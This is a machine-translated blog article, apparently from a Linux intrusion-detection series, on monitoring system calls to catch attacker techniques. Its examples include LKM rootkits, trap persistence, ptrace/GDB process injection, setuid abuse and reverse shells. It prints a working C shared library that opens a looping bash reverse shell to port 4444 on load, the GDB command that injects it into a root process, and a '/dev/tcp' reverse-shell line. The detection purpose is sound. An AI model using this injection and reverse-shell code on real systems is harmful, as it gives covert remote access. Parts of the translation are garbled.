《LinuxОбнаружение вторжений》Оглавление статей серии:
1️⃣HIDS-Проектирование для построения безопасности предприятия 2️⃣Построение технологии обнаружения вторжений и ее применение в сценариях. 3️⃣ATT&CKматрицаlinuxсистемаупражняться/Заказмонитор 4️⃣Мониторинг файлов обнаружения вторжений Linux 5️⃣LinuxМониторинг системных вызовов обнаружения вторжений 6️⃣Аварийное реагирование при обнаружении вторжений Linux
Ядро предоставляет набор стандартных интерфейсов для программ пользовательского пространства для взаимодействия с пространством ядра. Эти интерфейсы позволяют программам пользовательского пространства иметь ограниченный доступ к аппаратным устройствам, например, обращение к системным ресурсам, чтение и запись операционных устройств, создание новых. процессы и т. д. Когда запрос происходит в пользовательском пространстве, за выполнение отвечает пространство ядра. Эти интерфейсы являются мостом между пользовательским пространством и пространством ядра. Два слова «ограниченный», упомянутые здесь, предназначены для обеспечения стабильности ядра, а не для запрета. программы пользовательского пространства могут делать все, что захотят. Чтобы изменить систему, ядро должно быть открыто для внешнего мира, и программа, соответствующая разрешениям, может вызывать соответствующий интерфейс. Между пространством пользователя и пространством ядра существует промежуточный уровень, называемый Syscall (системный вызов, системный вызов), который является мостом, соединяющим режим пользователя и режим ядра. Это не только повышает безопасность ядра, но и облегчает портирование, поскольку вам нужно реализовать только один и тот же набор интерфейсов. В системе Linux пользовательское пространство отправляет системный вызов пространству ядра для генерации мягкого прерывания, тем самым заставляя программу переходить в состояние ядра и выполнять соответствующие операции. Для каждого системного вызова будет соответствующий номер системного вызова, который намного меньше, чем во многих операционных системах.
Таблица системных вызовов Linux (таблица системных вызовов)
Системные вызовы Linux реализуются посредством прерываний, а инструкция мягкого прерывания int инициирует сигнал прерывания. Перед системным вызовом Linux записывает номер подфункции в регистр eax, и обработчик прерывания определяет, к какому системному вызову обращается пользовательский процесс, на основе значения регистра eax. Процесс обработки прерываний операционной системы:
Последовательность выполнения системного вызова выглядит следующим образом:
В основном они делятся на 3 основные категории в зависимости от их функций: (1) Вилка класса управления процессом Создать дочерний процесс clone создает дочерний процесс в соответствии с указанными условиями execve запускает исполняемый файл …
(2)Операции по управлению файлами управление файлами fcntl открыть открыть файл прочитать прочитать файл
… (3)Системное управление ioctl функция общего управления вводом/выводом перезагрузить —sysctl читает и записывает системные параметры
Команда ловушки позволяет программе указать команду, которая будет выполнена после получения сигнала прерывания. Распространенной ситуацией является то, что сценарий допускает нормальное завершение и обрабатывает обычные прерывания клавиатуры (например, ctrl + c и ctrl + d). Фактически, система отправляет сигнал SIGINT процессу сценария. По умолчанию сигнал SIGINT обрабатывается. выйти из программы. Если вы не хотите выходить из программы при использовании Ctrl+C, вам необходимо использовать команду ловушки, чтобы указать метод обработки SIGINT. Команда ловушки не только обрабатывает сигналы Linux, но также обрабатывает выход из сценария (EXIT), отладку (). DEBUG), а также ошибка (ERR), возврат (RETURN) и другие ситуации, указывающие метод обработки. . Его можно использовать для регистрации кода, который будет выполняться при обнаружении определенного прерывания для выполнения, или в качестве механизма сохранения. Команда ловушки имеет сигнал «списка команд» ловушки в следующем формате, где «список команд» будет выполнен при получении «сигнала».
Если взять в качестве примера получение информации о создании процесса, то в настоящее время существует четыре распространенных способа получения информации о создании процесса:
Я использовал самый классический аудит, в основном для получения данных
Аудит в основном делится на три модуля:
Если вы только собираете данные, прежде всего, насколько велик объем данных и слишком много бесполезных данных. Все еще учитывайте это с точки зрения безопасности и собирайте их целенаправленно.
Загружаемые модули ядра (или LKM) — это фрагменты кода, которые можно загружать и выгружать в ядро по требованию. Они расширяют функциональность ядра, не требуя перезагрузки системы. При злонамеренном использовании загружаемый модуль ядра (LKM) может представлять собой руткит режима ядра, работающий с наивысшими привилегиями операционной системы (кольцо 0). Злоумышленник может использовать загружаемые модули ядра, чтобы скрытно оставаться в системе и обходить защиту. Общие возможности руткитов на основе LKM включают в себя: сокрытие себя, выборочное сокрытие файлов, процессов и сетевой активности, а также подделку журналов, предоставление аутентифицированных бэкдоров и предоставление root-доступа непривилегированным пользователям.
#include <linux/kernel.h>#include<linux/module.h>#include<linux/init.h>MODULE_LICENSE("GPL");static int hello_init(void){printk(KERN_WARNING "HELLOWORLD");return 0;}
static void hello_exit(void){printk("BYE");}module_init(hello_init);module_exit(hello_exit);
После завершения компиляции вы можете увидеть файл модуля:
lsmod проверяет, загружен ли модуль:
Для функций модуля ядра:
init_module()
Загружает образ ELF в пространство ядра, выполняет все необходимые перемещения символов, инициализирует параметры модуля значениями, предоставленными вызывающей стороной, а затем запускает функцию инициализации модуля. int init_module(void module_knowledge/img, unsigned long len,const char param_values); Copy to clipboardErrorCopied
конечный_модуль Системаfinit_module() вызывает init_module(), но считывает fd загружаемого модуля из файлового дескриптора. Когда подлинность модуля ядра можно определить по его местоположению в файловой системе int finit_module(int fd, const char *param_values,int flags); Копировать в буфер обменаErrorCopied
delete_module — удалить модуль ядра Системный вызов delete_module() пытается удалить имя записи идентифицированного неиспользуемого загружаемого модуля. Если у модуля есть функция выхода, выполните эту функцию перед выгрузкой модуля. Параметр flags используется для изменения поведения системного вызова, как описано ниже. Этот системный вызов требует привилегий. int delete_module(const char *name, int flags); Для защиты предприятия инструменты белого списка приложений и программного обеспечения (такие как SELinux) ограничивают загрузку модулей ядра или ограничивают доступ к учетной записи root, а также не позволяют пользователям загружать модули ядра и расширения посредством соответствующего разделения привилегий и ограничения возможностей повышения привилегий. На уровне обнаружения, в том числе в чрезвычайных ситуациях, к общим инструментам, используемым для обнаружения руткитов Linux, относятся: rkhunter, chrootkit, а для этой атаки обнаруживаются вызовы finit_module, init_module и delete_module.
Команда ловушки позволяет программе указать команду, которая будет выполнена после получения сигнала прерывания. Распространенной ситуацией является то, что сценарий допускает нормальное завершение и обрабатывает обычные прерывания клавиатуры (например, ctrl + c и ctrl + d). Фактически, система отправляет сигнал SIGINT процессу сценария. По умолчанию сигнал SIGINT обрабатывается. выйти из программы. Если вы не хотите выходить из программы при использовании Ctrl+C, вам необходимо использовать команду ловушки, чтобы указать метод обработки SIGINT. Команда ловушки не только обрабатывает сигналы Linux, но также обрабатывает выход из сценария (EXIT), отладку (). DEBUG), а также ошибка (ERR), возврат (RETURN) и другие ситуации, указывающие метод обработки. . Его можно использовать для регистрации кода, который будет выполняться при обнаружении определенного прерывания для выполнения, или в качестве механизма сохранения. Команда ловушки имеет сигнал «списка команд» ловушки в следующем формате, где «список команд» будет выполнен при получении «сигнала».
Основные области применения сигналов: 1. Сообщите процессу о том, что произошло особое событие (разные события идентифицируются разными сигналами). 2. Заставить целевой процесс выполнить соответствующую обработку (например: выполнить функцию обработки сигнала, обработчик сигнала). Соответствующая обработка также может заключаться в ее игнорировании.
Структуры данных, связанные с сигналами
#!/bin/sh# Убить функцию LAST_PID# Завершите функцию THIS_PID при выходе из сценария LAST_PID=$(ps -ef|grep 'java.*Zhenjiang'|grep -v grep|awk '{print $2}')echo "LAST_PID=$LAST_PID"if [ -n "$LAST_PID" ] && [ "$LAST_PID" -gt 0 ]; then echo "LAST PROCESS NOT EXIT, NOW KILL IT!" kill $LAST_PID sleep 1fiif ! cd ../opt/zhenjiang; then echo "CHANGE DIRECTORY FAILED" exit 1fijava -classpath .:./cpinterfaceapi.jar:./log4j-1.2.14.jar:./hyjc.jar:./smj.client.jar Zhenjiang &THIS_PID=$!echo "THIS_PID=$THIS_PID"trap "kill $THIS_PID" TERMwait
Команда ловушки должна быть зарегистрирована для оболочки (интерпретатора оболочки) или программы, чтобы она появилась в файле. Мониторинг файлов на наличие подозрительных или слишком широких команд-ловушек может сузить подозрительное поведение во время расследования. Отслеживайте подозрительные процессы, которые прерывают выполнение с помощью ловушек.
Контрольный эталонный системный вызов kill,tkill,tgkill,rt_sigaction,rt_sigpending,rt_sigprocmask,rt_sigqueueinfo,rt_sigsuspend,rt_sigtimedwait,signalfd,signalfd4,rt_sigreturn,sigaltstack
Инъекция процесса — это метод выполнения произвольного кода в адресном пространстве отдельного активного процесса. Запуск кода в контексте другого процесса может открыть доступ к памяти этого процесса, системным/сетевым ресурсам и возможное повышение привилегий. Выполнение посредством внедрения процесса также позволяет избежать обнаружения продуктами безопасности, поскольку выполнение маскируется законными программами.
1. Переменные среды LD_PRELOAD, LD_LIBRARY_PATH (Linux) или интерфейс прикладного программирования (API) dlfcn можно использовать для динамической загрузки библиотек (общих библиотек) в процессе, которые можно использовать для перехвата файлов из запущенных процессов.
2. Системный вызов Ptrace можно использовать для подключения к работающему процессу и его изменения во время выполнения.
3. Взлом VDSO выполняет внедрение во время выполнения в двоичные файлы ELF, манипулируя заглушками кода, сопоставленными из общей библиотеки linux-vdso.so. Вредоносное ПО TES часто использует внедрение процессов для доступа к системным ресурсам, обеспечивая сохранение и другие модификации среды. Используя именованные каналы или другие механизмы межпроцессного взаимодействия (IPC) в качестве каналов связи, более сложные образцы могут выполнять множественные внедрения процессов для фрагментации модулей и дальнейшего уклонения от обнаружения.
Код для внедрения callback.c:
#include <pthread.h>#include <stdlib.h>#include <unistd.h>
#define SLEEP 120 /* Time to sleep between callbacks */#define CBADDR "127.0.0.1" /* Callback address */#define CBPORT "4444" /* Callback port */
/* Reverse shell command */#define CMD "echo 'exec >&/dev/tcp/"\ CBADDR "/" CBPORT "; exec 0>&1' | /bin/bash" //Выполняем обратную оболочку
void *callback(void *a);
__attribute__((constructor)) /* Run this function on library load */// Запустите эту функцию после загрузки динамической библиотеки. void start_callbacks(){ pthread_t tid; pthread_attr_t attr;
/* Start thread detached */ if (-1 == pthread_attr_init(&attr)) { return; } if (-1 == pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED)) { return; }
/* Spawn a thread to do the real work */ pthread_create(&tid, &attr, callback, NULL); //Создаем поток}
void *callback(void *a){ for (;;) { /* Try to spawn a reverse shell */ system(CMD); /* Wait until next shell */ sleep(SLEEP); } return NULL;}
Скомпилируйте в динамическую библиотеку: cc -O2 -fPIC -o libcallback.so ./callback.c -lpthread -shared
Переключитесь на пользователя root и перечислите процессы пользователя root ps -fxo pid,user,args | egrep -v '[\S+]$'Выберите идентификатор процесса, который вы хотите внедрить, и используйте GDB для внедрения. Здесь выберите тот, у которого есть. более низкое значение pids. Поскольку чем ниже значение, тем раньше время выполнения, выбирайте долговыполняющиеся процессы, поскольку эти процессы нелегко уничтожить. echo 'print __libc_dlopen_mode("/root/libcallback.so", 2)' |
Используйте GDB, чтобы открыть процесс, и используйте __libc_dlopen_mode, чтобы открыть библиотеку динамической компоновки, которую нужно внедрить. Используйте команду печати GDB, чтобы удобно получить возвращаемое значение функции. Отобразите это на стандартный ввод GDB, что приведет к завершению работы GDB, устраняя необходимость использования команды quit.
Откройте другой терминал и прослушайте локальный порт 4444.
Обратная трассировка: вы можете видеть, что вызванный системный вызов — ptrace.
При повышении привилегий и сохранении привилегий установка бита setuid или setgid, чтобы приложение запускалось с привилегиями пользователя или группы-владельца соответственно, чтобы гарантировать, что они смогут выполняться в среде с повышенными правами в будущем, также является распространенной операцией и может быть достигнуто с помощью chmod. #включать
#include <sys/types.h>#include <sys/stat.h>int main(int argc, char *argv[]){if ( argc != 2 ) {printf("Usage: %s filename\n", argv[0]);return (1);}if (chmod(argv[1], S_ISUID | S_IRUSR | S_IRGRP | S_IROTH | S_IXOTH) < 0) {perror("Cannot modify the Permission of the file");return (1);} return (0);}
Соответствующая функция мониторинга: чмод, фчмод, фчмодат chmod fchmodat и др.
В оболочке восстановления злоумышленник выполняет мониторинг TCP/UDP на управляющей стороне и передает его управляющей стороне атакующей стороны через сокет. Основной принцип заключается в том, чтобы направить стандартный ввод и стандартный вывод в сокет или канал. В качестве примера возьмем простейший отскок bash:
Linux bash читает эту команду слева направо. Сначала система создаст подпроцесс bash -i и выделит дескриптор файла:
При анализе на >& /dev/tcp/10.0.0.1/4444 Когда стандартный вывод и стандартная ошибка перенаправляются, дескриптор файла указывает на:
При анализе на0>&1,Стандартный ввод копировать в стандартный вывод,Дескриптор файла указывает на:
И дескриптор ввода файла, и дескриптор вывода файла необходимо перенаправить в канал сокета.
И дескриптор ввода файла, и дескриптор вывода файла необходимо перенаправить в канал.
С точки зрения атаки можно сделать вывод, что для процесса отслеживайте, указывают ли его стандартный ввод и стандартный вывод на сокет или канал. Большего внимания требуют файлы с исполняемыми средами, такими как bash, perl, python и т. д. Соответствующий системный вызов — это вызов сокета.
snoopy — это легкая библиотека lib, используемая для записи всех выполняемых команд и параметров в системе. В реальных сценариях использования snoopy и rsyslog объединяются для сбора истории команд выполнения всех хостов. snoopy выполняет execv() в программе посредством предварительной загрузки и execve. () Вся необходимая информация записывается при вызове системы. Аудит аналогичен отслеживанию системного вызова, также осуществляется запись манипуляций пользователя. Большая часть обнаружения осуществляется путем обнаружения команд, выполняемых пользователями, не являющимися пользователями root, и проведения угроз. моделирование.
Соответствующий системный вызов execve,对应的Заказмонитор内容可以参考系列в另外一篇:ATT&CKматрицаlinuxсистемаупражняться/Заказмонитор
Команда touch используется для изменения атрибутов времени файла или каталога, включая время доступа и время изменения.
Обратное отслеживание измененных временных меток в скрытых трассировках
Соответствующие системные вызовы — settimeofday, clock_settime, adjtimex и т. д.
В следующей таблице перечислены некоторые часто используемые системные вызовы на основе сводной классификации. Нет сомнений в том, что объем данных, получаемых в результате системных вызовов мониторинга, очень велик, и в этой статье также необходимо учитывать точку зрения злоумышленника. собирает информацию об управлении атаками и собирает только данные, вызывающие беспокойство. Из-за объема статьи собранная поверхность управления атаками системного вызова не является полной.
Всегда продолжайте учиться, содержимое клавиш ctrl+c и ctrl+v также различается.
Замечательная рекомендация